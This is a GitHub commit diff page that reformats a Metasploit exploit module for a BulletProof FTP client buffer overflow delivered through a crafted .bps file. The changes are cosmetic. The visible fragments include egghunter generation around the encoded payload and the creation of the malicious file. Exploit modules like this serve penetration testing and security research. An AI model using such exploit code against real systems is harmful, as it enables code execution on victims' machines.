Skip to content

Commit 482cfb8

Browse files
committed
Clean up some stuff
1 parent 9f97b55 commit 482cfb8

File tree

1 file changed

+11
-13
lines changed

1 file changed

+11
-13
lines changed

modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb

Lines changed: 11 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -57,22 +57,20 @@ def initialize(info = {})
5757
],
5858
'Privileged' => false,
5959
'DisclosureDate' => 'Jul 24 2014',
60-
'DefaultTarget' => 0))
61-
62-
register_options(
63-
[
64-
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
65-
],
66-
self.class)
60+
'DefaultTarget' => 0
61+
))
6762

63+
register_options(
64+
[
65+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
66+
],
67+
self.class)
6868
end
6969

7070
def exploit
71-
72-
eggoptions =
73-
{
71+
eggoptions = {
7472
:checksum => true,
75-
:eggtag => "w00t"
73+
:eggtag => 'w00t'
7674
}
7775

7876
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
@@ -86,8 +84,8 @@ def exploit
8684
sploit << rand_text_alpha(8) + "\r\n" # Login password
8785

8886
# Create the file
89-
print_status("Creating '#{datastore['FILENAME']}' file ...")
87+
print_status("Creating '#{datastore['FILENAME']}' file...")
9088
file_create(sploit)
91-
9289
end
90+
9391
end

0 commit comments

Comments
 (0)